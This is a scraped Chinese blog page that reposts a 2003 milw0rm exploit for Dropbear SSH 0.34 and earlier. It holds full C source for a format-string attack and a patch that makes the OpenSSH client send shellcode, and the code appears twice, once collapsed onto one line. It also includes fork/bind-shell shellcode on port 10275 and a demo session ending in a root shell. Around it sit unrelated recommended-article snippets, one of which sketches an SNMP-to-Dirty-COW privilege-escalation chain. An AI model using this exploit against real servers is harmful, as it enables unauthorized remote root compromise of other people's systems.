Linux x86 Dropbear SSH <= 0.34 remote root exploit

从SNMP信息泄露到内核提权:老旧物联网设备安全攻防实战 SNMP(简单网络管理协议)作为网络设备监控的基石,其v1/v2c版本依赖明文传输的社区字符串进行认证,存在显著的安全缺陷。攻击者利用默认或弱社区字符串,可读取设备的系统描述、内核版本、进程列表等关键MIB信息,相当于获得了系统的详细“蓝图”。基于泄露的内核版本信息,攻击者能够匹配已知的本地提权漏洞,例如经典的Dirty COW(CVE-2016-5195)漏洞,该漏洞利用Linux内核写时复制机制的竞态条件实现权限提升。这种从信息泄露到代码执行的攻击链,在物联网和工业控制场景中极具威胁,尤其针对大量部署且 阅读详情
/* 
* 
/* 
* Linux x86 Dropbear SSH <= 0.34 remote root exploit 
* coded by live 
* 
* You'll need a hacked ssh client to try this out. I included a patch 
* to openssh-3.6.p1 somewhere below this comment. 
* 
* The point is: the buffer being exploited is too small(25 bytes) to hold our 
* shellcode, so a workaround was needed in order to send it. What I did here 
* was to hack the ssh client so that it sends the local   environment variable 
* SHELLCODE as ssh's methodname string.   This method   was described by Joel 
* Eriksson @ 0xbadc0ded.org. 
* 
* The 25 bytes limitation is also the reason for the the strange ``2 byte'' 
* retaddr you will see here. That's not enough for complete pointer overwrite, 
* so I decided to   overwrite 3rd and 2nd   bytes and hope our   shellcode is 
* around ;) 
*   
* % telnet localhost 22 
* Trying 127.0.0.1... 
* Connected to localhost. 
* Escape character is '^]'. 
* SSH-2.0-dropbear_0.34 
* ^] 
* telnet> quit 
* Connection closed. 
* 
* % objdump -R /usr/local/sbin/dropbear| grep malloc 
* 080673bc R_386_JUMP_SLOT   malloc 
* 
* % drop-root -v24 localhost 
* ?.2022u%24$hn@localhost's password: 
* Connection closed by 127.0.0.1 
* 
* % telnet localhost 10275 
* Trying 127.0.0.1... 
* Connected to localhost. 
* Escape character is '^]'. 
* id; exit; 
* uid=0(root) gid=0(root) groups=0(root) 
* Connection closed by foreign host. 
* 
* In the above example we were able to lookup a suitable .got entry(used as 
* retloc here), but this may not be true under a hostile environment. If 
* exploiting this remotely I feel like chances would be greater if we attack 
* the stack, but that's just a guess. 
* 
* Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions. 
* 
* gr33tz: ppro, alcaloide and friends. 
* 
* 21.08.2003 
* Please do not distribute 
*/ 



/* 

--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300 
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000000 -0300 
@@ -278,6 +278,8 @@ 
void 
userauth(Authctxt *authctxt, char *authlist) 
{ 
+     char *shellcode = getenv("SHELLCODE"); 
+ 
if (authlist == NULL) { 
authlist = authctxt->authlist; 
} else { 
@@ -290,6 +292,7 @@ 
if (method == NULL) 
fatal("Permission denied (%s).", authlist); 
authctxt->method = method; 
+         authctxt->method->name = shellcode; 
if (method->userauth(authctxt) != 0) { 
debug2("we sent a %s packet, wait for reply", method->name); 
break; 

*/ 


#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 


#define SSH_PATH               "ssh" 
#define SSH_PORT               "22" 

#define DEFAULT_VERSION_PAD     24 
#define DEFAULT_RETLOC         0xbffff800 
#define DEFAULT_RETADDR         0x080e /* 2 byte retaddr, not enough space for a 
                                      * full overwrite. */ 


/* fork/bind shellcode by live 
* default port is 10275 
* 
* I believe this can be futher optmized, but size is not 
* an issue here since we are sending the shellcode through 
* a ssh variable which is about 30k bytes long. 
*/ 
char shellcode[] = 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "xb0x02"                       /* mov     $0x2,%al                 */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "x85xc0"                       /* test   %eax,%eax               */ 
    "x75x54"                       /* jne     5e                       */ 
    "xebx50"                       /* jmp     5c                       */ 
    "x5e"                           /* pop     %esi                     */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "x31xdb"                       /* xor     %ebx,%ebx               */ 
    "x89x46x08"                   /* mov     %eax,0x8(%esi)           */ 
    "xb0x02"                       /* mov     $0x2,%al                 */ 
    "x89x06"                       /* mov     %eax,(%esi)             */ 
    "xfexc8"                       /* dec     %al                     */ 
    "x89x46x04"                   /* mov     %eax,0x4(%esi)           */ 
    "xb0x66"                       /* mov     $0x66,%al               */ 
    "xfexc3"                       /* inc     %bl                     */ 
    "x89xf1"                       /* mov     %esi,%ecx               */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "x89x06"                       /* mov     %eax,(%esi)             */ 
    "x89x4ex04"                   /* mov     %ecx,0x4(%esi)           */ 
    "x80x46x04x0c"               /* addb   $0xc,0x4(%esi)           */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "xb0x10"                       /* mov     $0x10,%al               */ 
    "x89x46x08"                   /* mov     %eax,0x8(%esi)           */ 
    "xb0x02"                       /* mov     $0x2,%al                 */ 
    "x66x89x46x0c"               /* mov     %ax,0xc(%esi)           */ 
    "x66xb8x28x23"               /* mov     $0x2328,%ax             */ 
    "x89x46x0e"                   /* mov     %eax,0xe(%esi)           */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "x89x46x10"                   /* mov     %eax,0x10(%esi)         */ 
    "xb0x66"                       /* mov     $0x66,%al               */ 
    "xfexc3"                       /* inc     %bl                     */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "xfexcb"                       /* dec     %bl                     */ 
    "x89x5ex04"                   /* mov     %ebx,0x4(%esi)           */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "xb0x66"                       /* mov     $0x66,%al               */ 
    "xb3x04"                       /* mov     $0x4,%bl                 */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "xebx04"                       /* jmp     60                       */ 
    "xebx44"                       /* jmp     a2                       */ 
    "xebx3a"                       /* jmp     9a                       */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "x89x46x04"                   /* mov     %eax,0x4(%esi)           */ 
    "x89x46x08"                   /* mov     %eax,0x8(%esi)           */ 
    "xb0x66"                       /* mov     $0x66,%al               */ 
    "xfexc3"                       /* inc     %bl                     */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "x31xc9"                       /* xor     %ecx,%ecx               */ 
    "x89xc3"                       /* mov     %eax,%ebx               */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "xb0x3f"                       /* mov     $0x3f,%al               */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "xfexc1"                       /* inc     %cl                     */ 
    "x80xf9x03"                   /* cmp     $0x3,%cl                 */ 
    "x75xf3"                       /* jne     72                       */ 
    "x68x2fx2fx73x68"           /* push   $0x68732f2f             */ 
    "x68x2fx62x69x6e"           /* push   $0x6e69622f             */ 
    "x89xe3"                       /* mov     %esp,%ebx               */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "x88x43x08"                   /* mov     %al,0x8(%ebx)           */ 
    "x50"                           /* push   %eax                     */ 
    "x53"                           /* push   %ebx                     */ 
    "x89xe1"                       /* mov     %esp,%ecx               */ 
    "x89xe2"                       /* mov     %esp,%edx               */ 
    "xb0x0b"                       /* mov     $0xb,%al                 */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "x31xdb"                       /* xor     %ebx,%ebx               */ 
    "xfexc0"                       /* inc     %al                     */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "xe8x65xffxffxff"           /* call   c <up>                   */ 
; 


static void usage(const char *progname); 


int 
main(int argc, char *argv[]) 
{ 
    char buffer[29500], fmt[26], *target; 
    long int retloc, retaddr; 
    int ch, version_pad; 

    retloc           = DEFAULT_RETLOC +1; 
    retaddr         = DEFAULT_RETADDR -40; 
    version_pad     = DEFAULT_VERSION_PAD; 

    while ( (ch = getopt(argc, argv, "l:r:v:")) != -1) { 
        switch (ch) { 
            case 'l': 
                retloc += atoi(optarg) *4; 
                break; 
            case 'r': 
                retaddr += atoi(optarg) *4; 
                break; 
            case 'v': 
                version_pad = atoi(optarg); 
                break; 
        } 
    } 

    if (argc -optind != 1) { 
        usage(argv[0]); 
        exit(-1); 
    } 

    argc -= optind; 
    argv += optind; 

    target = argv[0]; 
    memset(buffer, 0x90, 29500); 
    memcpy(buffer +29500 -strlen(shellcode), shellcode, strlen(shellcode)); 
    memcpy(buffer, "SHELLCODE=", 10); 

    putenv(buffer); 
    snprintf(fmt, sizeof fmt, "%c%c%c%c%%.%du%%%d$hn", 
        (retloc & 0xff), 
        (retloc & 0xff00) >> 8, 
        (retloc & 0xff0000) >> 16, 
        (retloc & 0xff000000) >> 24, 
        retaddr, 
        version_pad); 

    execl(SSH_PATH, "ssh", "-l", fmt, "-p", SSH_PORT, target, NULL); 
    exit(0); 
} 


static void 
usage(const char *progname) { 
    fprintf(stderr, "Linux x86 Dropbear SSH <= 0.34 remote root exploitn"); 
    fprintf(stderr, "coded by livenn"); 
    fprintf(stderr, "Usage: %s [-l <retloc offset>] [-r <retaddr offset>]" 
        " [-v <version pad>] <target>n", progname); 
}

// milw0rm.com [2004-08-09]
* coded by live * * You'll need a hacked ssh client to try this out. I included a patch * to openssh-3.6.p1 somewhere below this comment. * * The point is: the buffer being exploited is too small(25 bytes) to hold our * shellcode, so a workaround was needed in order to send it. What I did here * was to hack the ssh client so that it sends the local environment variable * SHELLCODE as ssh's methodname string. This method was described by Joel * Eriksson @ 0xbadc0ded.org. * * The 25 bytes limitation is also the reason for the the strange ``2 byte'' * retaddr you will see here. That's not enough for complete pointer overwrite, * so I decided to overwrite 3rd and 2nd bytes and hope our shellcode is * around ;) * * % telnet localhost 22 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * SSH-2.0-dropbear_0.34 * ^] * telnet> quit * Connection closed. * * % objdump -R /usr/local/sbin/dropbear| grep malloc * 080673bc R_386_JUMP_SLOT malloc * * % drop-root -v24 localhost * ?.2022u%24$hn@localhost's password: * Connection closed by 127.0.0.1 * * % telnet localhost 10275 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * id; exit; * uid=0(root) gid=0(root) groups=0(root) * Connection closed by foreign host. * * In the above example we were able to lookup a suitable .got entry(used as * retloc here), but this may not be true under a hostile environment. If * exploiting this remotely I feel like chances would be greater if we attack * the stack, but that's just a guess. * * Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions. * * gr33tz: ppro, alcaloide and friends. * * 21.08.2003 * Please do not distribute */ /* --- sshconnect2.c2003-08-21 21:34:03.000000000 -0300 +++ sshconnect2.c.hack2003-08-21 21:33:47.000000000 -0300 @@ -278,6 +278,8 @@ void userauth(Authctxt *authctxt, char *authlist) { + char *shellcode = getenv("SHELLCODE"); + if (authlist == NULL) { authlist = authctxt->authlist; } else { @@ -290,6 +292,7 @@ if (method == NULL) fatal("Permission denied (%s).", authlist); authctxt->method = method; + authctxt->method->name = shellcode; if (method->userauth(authctxt) != 0) { debug2("we sent a %s packet, wait for reply", method->name); break; */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define SSH_PATH "ssh" #define SSH_PORT "22" #define DEFAULT_VERSION_PAD 24 #define DEFAULT_RETLOC 0xbffff800 #define DEFAULT_RETADDR 0x080e /* 2 byte retaddr, not enough space for a * full overwrite. */ /* fork/bind shellcode by live * default port is 10275 * * I believe this can be futher optmized, but size is not * an issue here since we are sending the shellcode through * a ssh variable which is about 30k bytes long. */ char shellcode[] = "x31xc0" /* xor %eax,%eax */ "xb0x02" /* mov $0x2,%al */ "xcdx80" /* int $0x80 */ "x85xc0" /* test %eax,%eax */ "x75x54" /* jne 5e */ "xebx50" /* jmp 5c */ "x5e" /* pop %esi */ "x31xc0" /* xor %eax,%eax */ "x31xdb" /* xor %ebx,%ebx */ "x89x46x08" /* mov %eax,0x8(%esi) */ "xb0x02" /* mov $0x2,%al */ "x89x06" /* mov %eax,(%esi) */ "xfexc8" /* dec %al */ "x89x46x04" /* mov %eax,0x4(%esi) */ "xb0x66" /* mov $0x66,%al */ "xfexc3" /* inc %bl */ "x89xf1" /* mov %esi,%ecx */ "xcdx80" /* int $0x80 */ "x89x06" /* mov %eax,(%esi) */ "x89x4ex04" /* mov %ecx,0x4(%esi) */ "x80x46x04x0c" /* addb $0xc,0x4(%esi) */ "x31xc0" /* xor %eax,%eax */ "xb0x10" /* mov $0x10,%al */ "x89x46x08" /* mov %eax,0x8(%esi) */ "xb0x02" /* mov $0x2,%al */ "x66x89x46x0c" /* mov %ax,0xc(%esi) */ "x66xb8x28x23" /* mov $0x2328,%ax */ "x89x46x0e" /* mov %eax,0xe(%esi) */ "x31xc0" /* xor %eax,%eax */ "x89x46x10" /* mov %eax,0x10(%esi) */ "xb0x66" /* mov $0x66,%al */ "xfexc3" /* inc %bl */ "xcdx80" /* int $0x80 */ "xfexcb" /* dec %bl */ "x89x5ex04" /* mov %ebx,0x4(%esi) */ "x31xc0" /* xor %eax,%eax */ "xb0x66" /* mov $0x66,%al */ "xb3x04" /* mov $0x4,%bl */ "xcdx80" /* int $0x80 */ "xebx04" /* jmp 60 */ "xebx44" /* jmp a2 */ "xebx3a" /* jmp 9a */ "x31xc0" /* xor %eax,%eax */ "x89x46x04" /* mov %eax,0x4(%esi) */ "x89x46x08" /* mov %eax,0x8(%esi) */ "xb0x66" /* mov $0x66,%al */ "xfexc3" /* inc %bl */ "xcdx80" /* int $0x80 */ "x31xc9" /* xor %ecx,%ecx */ "x89xc3" /* mov %eax,%ebx */ "x31xc0" /* xor %eax,%eax */ "xb0x3f" /* mov $0x3f,%al */ "xcdx80" /* int $0x80 */ "xfexc1" /* inc %cl */ "x80xf9x03" /* cmp $0x3,%cl */ "x75xf3" /* jne 72 */ "x68x2fx2fx73x68" /* push $0x68732f2f */ "x68x2fx62x69x6e" /* push $0x6e69622f */ "x89xe3" /* mov %esp,%ebx */ "x31xc0" /* xor %eax,%eax */ "x88x43x08" /* mov %al,0x8(%ebx) */ "x50" /* push %eax */ "x53" /* push %ebx */ "x89xe1" /* mov %esp,%ecx */ "x89xe2" /* mov %esp,%edx */ "xb0x0b" /* mov $0xb,%al */ "xcdx80" /* int $0x80 */ "x31xc0" /* xor %eax,%eax */ "x31xdb" /* xor %ebx,%ebx */ "xfexc0" /* inc %al */ "xcdx80" /* int $0x80 */ "xe8x65xffxffxff" /* call c <up> */ ; static void usage(const char *progname); int main(int argc, char *argv[]) { char buffer[29500], fmt[26], *target; long int retloc, retaddr; int ch, version_pad; retloc = DEFAULT_RETLOC +1; retaddr = DEFAULT_RETADDR -40; version_pad = DEFAULT_VERSION_PAD; while ( (ch = getopt(argc, argv, "l:r:v:")) != -1) { switch (ch) { case 'l': retloc += atoi(optarg) *4; break; case 'r': retaddr += atoi(optarg) *4; break; case 'v': version_pad = atoi(optarg); break; } } if (argc -optind != 1) { usage(argv[0]); exit(-1); } argc -= optind; argv += optind; target = argv[0]; memset(buffer, 0x90, 29500); memcpy(buffer +29500 -strlen(shellcode), shellcode, strlen(shellcode)); memcpy(buffer, "SHELLCODE=", 10); putenv(buffer); snprintf(fmt, sizeof fmt, "%c%c%c%c%%.%du%%%d$hn", (retloc & 0xff), (retloc & 0xff00) >> 8, (retloc & 0xff0000) >> 16, (retloc & 0xff000000) >> 24, retaddr, version_pad); execl(SSH_PATH, "ssh", "-l", fmt, "-p", SSH_PORT, target, NULL); exit(0); } static void usage(const char *progname) { fprintf(stderr, "Linux x86 Dropbear SSH <= 0.34 remote root exploitn"); fprintf(stderr, "coded by livenn"); fprintf(stderr, "Usage: %s [-l <retloc offset>] [-r <retaddr offset>]" " [-v <version pad>] <target>n", progname); } // milw0rm.com [2004-08-09]
在嵌入式设备上使用dropbear实现ssh远程的方法 全程亲测有效,在嵌入式设备上使用dropbear实现ssh远程的方法 阅读详情

相关推荐

深入分析Dropbear SSH源码及部署

安全外壳协议(SSH)是一个在网络中提供安全通信的协议,广泛应用于远程登录、文件传输等场景。SSH在传输数据时使用了加密技术,确保了传输过程的安全性,防止数据被截获和篡改。在资源受限的嵌入式设备上,定制化配置和调试是非常重要的。这包括对Dropbear进行配置,以适应低资源环境,并使用调试和问题诊断技巧确保程序的稳定运行。

weixin_34618526的博客 1467

dropbear:一个小巧的ssh server

Dropbear is a relatively small SSH server and client,可运行于类Unix系统上,官网是 Dropbear,同时在 github 上。 这里主要关注dropbear的服务端功能。centos 7环境 启动dropbear服务端 一些编译选项 修改authorized_keys文件 不想用~/.ssh/authorized_keys的话,可以通过改代码实现,在svr-authpubkey.c中的checkpubkey函数和checkpubkeyperms函

https://gitee.com/liuyuan185442111/chest-view 4044

dropbear 代替sshd 不用担心openssh的漏洞 占用资源少

dropbear 代替sshd 不用担心openssh的漏洞 占用资源少 虚拟主机服务器必备

Openwrt常用软件模块之SSH(Dropbear)

Openwrt常用软件模块之SSH(Dropbear) SSH(Secure Shell)是专为远程登录会话和其他网络服务提供安全性的协议。OpenWrt 默认采用Dropbear软件来实现 SSH协议。它是一个在小内存环境下非常高效的SSH服务器和客户端 Dropbear概述 Dropbear 是一个开源软件包,是由马特·约翰逊撰写,并且和安全shell兼容的服务 器和客户端。它是在低内存和处理器资源情况下对标准的 OpenSSH 的一个替代品,适合 嵌入式操作系统。它是 OpenWrt 的一个核心

hzlarm的博客 1万+

数字IC设计实现之hierarchical flow系列(一)

数字IC设计实现之hierarchical flow系列(一) 最近这段时间小编又比较忙起来了,今天抽空来咖啡厅码字来了,刚到时脑子一片空白,不知道要分享些什么(项目结束后将会在知识星球上分享数字 IC 设计实现 Tapeout 前要review的那些 checklist)。突然间想起来有个星友希望小编分享些数字 IC 设计实现 hierarchical flow 的相关内容。考虑到现在大都采用这种方式来做 design 和实现,那就选这个 topic 了。限于篇幅和时间限制,今天只分享逻辑综合部分和布局布

weixin_37584728的博客 6011

三菱FX3U PLC红绿灯ST编程实战:从基础逻辑到急停功能完整实现

本文以十字路口红绿灯控制为例,详细讲解了三菱FX3U PLC使用ST编程的完整实战过程。内容涵盖从基础时序逻辑、状态机设计,到急停功能、黄灯闪烁、昼夜模式切换等高级功能的实现,并提供了代码优化与调试技巧,帮助工程师掌握结构化文本在工业控制中的清晰、结构化应用。

weixin_29070861的博客 542

轻量级SSH实现之Dropbear

Dropbear是一个轻量级的SSH服务器和客户端的实现。它运行在 各种 UNIX 平台。Dropbear 是开源实现,MIT 分发 许可证。Dropbear在嵌入式Linux(或其他Unix)系统广泛应用,例如无线路由器。

虎哥LoveDroid 2941

Amesim应用篇-电芯等效电路模型标定

为了使计算模型更加准确,在有电芯实验测试数据的情况下,依据现有的实验数据对Amesim中的电池等效电路模型进行标定。标定的目的是为了获得更加符合项目实际情况的电芯等效电路模型,标定完的电芯可以用于搭建PACK模型,也可以用于其他虚拟实验。本文以充电标定为例,进行介绍。放电标定与充电一致。

2201_75375391的博客 1219

嵌入式Linux下Dropbear SSH配置优化

的说明将上述修改下重新编译生成的 Ycoto Linux Image 通过 Toradex Easy Installer 更新到 Apalis iMX8 模块,此时测试无论本地串口登录还是远程SSH登录 root 用户都需要输入预设的密码了,增强了安全性。c). 为了进一步提高 SSH 安全性,可以创建普通 user 用户用于远程登录,而禁止 root 用户 SSH 远程登录。./ 禁止 root 用户 SSH 登录,参考如下 patch 修改 /etc/default/dropbear 文件。

toradexsh的博客 3287

【Unity-UGUI控件全面解析】| Canvas 画布组件详解

画布 (Canvas) 是应该容纳所有 UI 元素的区域。画布是一种带有画布组件的游戏对象,所有 UI 元素都必须是此类画布的子项。 创建新的 UI 元素(如使用菜单 GameObject > UI > Image 创建图像)时,如果场景中还没有画布,则会自动创建画布。UI 元素将创建为此画布的子项。 画布区域在 Scene 视图中显示为矩形。这样可以轻松定位 UI 元素,而无需始终显示 Game 视图。 画布 使用 EventSystem 对象来协助消息系统。

努力前行,总会成为自己心中的那道光 2万+

[系统安全] 十七.Windows PE病毒概念、分类及感染方式详解

作者前文介绍了PE文件格式,熟悉各种PE编辑查看工具,针对目标EXE程序新增对话框等;这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。这些基础性知识不仅和系统安全相关,同样与我们身边的APP、常用软件及操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了《软件安全》视频、安全网站和参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

杨秀璋的专栏 1万+

linux下sshd被后门替换后的暂时解决办法--dropbear

最近公司被***了,并且留下了ssh后门,因此必须得重装openssh,但是一重装的话,之前的连接就会断开,要是这样的话,远程连接就连不上了,面临的问题恐怕就只有到机房去安装了,要是公司离机房较远的话,就是一个大问题了,因此可以使用dropbear来暂时替代openssh,使用dropbear来连接服务器,来对openssh进行重装。ssh后门使sshd文件被替换,系统一些常...

weixin_34216036的博客 519

TBOX电源方案的详细讲解与分析

输入保护电路是确保车载电子系统稳定性的关键。通过合理选择TVS二极管、保险丝和浪涌抑制器等元器件,能够有效防止来自电源系统的瞬态过电压、浪涌和过流问题,保护后续电路免受损害。针对不同的电源环境和应用场景,可以通过提升功率、优化热管理以及选择高效元器件来进一步提高系统的保护能力和可靠性。

weixin_43199439的博客 1087

一次 dropbear 和 openssh 冲突的经历

任务:在 OpenWRT 路由器 C 用公钥验证方式登录另一台 O...

weixin_34392435的博客 1417

大学计算 - 方程求解 实训答案 第3关

【代码】大学计算 - 方程求解 实训答案 第3关。

2403_89314916的博客 115

yolov5-6.0的稀疏化训练、结构化剪枝、微调

YOLOv5的BN剪枝、微调

qq_41920323的博客 4396

SSH Server Dropbear在嵌入式平台上移植

1.下载 dropbear-2015.68.tar.bz2。 2.解压 3.配置编译 ./configure --prefix=/home/light/dropbear068 CC=armv7l-timesys-linux-gnueabi-gcc --host=arm  make make scp arm-linux-gcc-strip dropbear arm-li

bmbm546的专栏 2294

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

常用的30+种未授权访问漏洞汇总

常用的30+种未授权访问漏洞汇总

qq_50854662的博客 6306

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

dropbear实现免密码ssh登录或scp文件传输

基于dropbear服务实现scp的免密传输,基本思路是:将主机A通过dropbearkey生成公钥和私钥,并将公钥的内容复制到主机B的 authorized_keys 文件内,从而建立主机B对主机A的信任关系。

9989

SSH以及Dropbear介绍

ssh介绍以及Dropbear编译

写作是为了更好的思考 3599

小型ssh工具dropbear 安装配置及使用详解

1.Dropbear介绍     dropbear:小型的嵌入式系统专用的SSH服务端和客户端工具         服务器端:dropbear、dropbearkey         客户端:dbclient     dropbear默认使用nsswitch实现名称解析(账户名称)     dropbear会在用户登录时检查其默认shell是否为安全shell,/etc/shells中的shell...

qq_41714057的博客 2万+

轻量化ssh工具Dropbear 介绍与使用说明

Dropbear是一款轻量级开源SSH服务器/客户端,专为资源受限设备设计。它体积小巧但功能完备,支持SSH2协议、密钥登录和端口转发等核心功能,是嵌入式设备(如路由器、OpenWrt系统)的理想选择。安装方式因系统而异,Debian/Ubuntu使用apt,Fedora/CentOS使用dnf/yum。配置主要通过命令行参数或系统服务文件实现,支持端口设置、密钥认证等安全选项。Dropbear还提供dbclient和scp客户端工具,兼容OpenSSH密钥,并可通过dropbearkey生成专属密钥。在O

Tipriest的博客 3399

Dropbear 安装配置与启动ssh服务详解

Dropbear 安装配置与启动ssh服务详解 扎啤关注 2017.09.12 22:57*字数 441阅读 4160评论 0喜欢 0 一、介绍 dropbear作为一款基于ssh协议的轻量级sshd服务器,相比OpenSSH,其更简洁,更小巧,运行起来内存占用比也更小。在应用进程上,OpenSSH会开启两个sshd进程服务,而dropbear只开启一个进程,相较于OpenSSH,...

行知致简的专栏 2万+

Dropbear轻量级SSH服务器使用指南

Dropbear是一款轻量级的SSH服务器和客户端实现,专为资源受限环境设计。相比OpenSSH,它具有更小的内存占用和更精简的代码库,同时保持了SSH协议的核心功能。Dropbear特别适合嵌入式系统、路由器和其他资源有限的设备使用。 ## 核心特性 Dropbear的主要特点包括: - 支持SSH协议2.0版本 - 占用内存小(约100KB) - 支持RSA、ECDSA、Ed25519等多

gitblog_00780的博客 1422

SSH安全配置实践,如何手动编译Dropbear实现SSH协议。

    在早期要从一台计算机通过网络登录另一条计算机获取终端,用的大多数是telnet协议,这种协议由于是明文传输的,在用户身份认证时,很容易被cracker抓取报文,从中获得帐户密码,然后你将为他所做的破坏负责。后来为了数据更安全的传,出现了SSH(secureshell ),由IETF网络小组所定制,SSH 为建立在应用层和传输层基础上的安全协议,是目前较可靠,专为远程登录会话和其他网络服务提...

weixin_34099526的博客 357

使用dropbear搭建ssh服务。

最近做项目需要使用ramdisk启动linux,因为AMC介质板设计的时候没有想过从flash启动,所以flash只有8M.这8M大概是这样分配的: 1. 控制字。用来保证重启。 2. U-boot. 为了保证能成功引导,我们准备了两份U-boot,分别放在flash的前端和后端。 3. linux内核,基本上是最小内核了,但是要支持ext2和ramdisk. 4. 文件系统。包含busy

樊越的专栏 1万+
上一篇: How does a DMI device establish a connection to NSM?
下一篇: Funny fake openssh 0day
hack8
博客等级 码龄18年 109粉丝 128原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址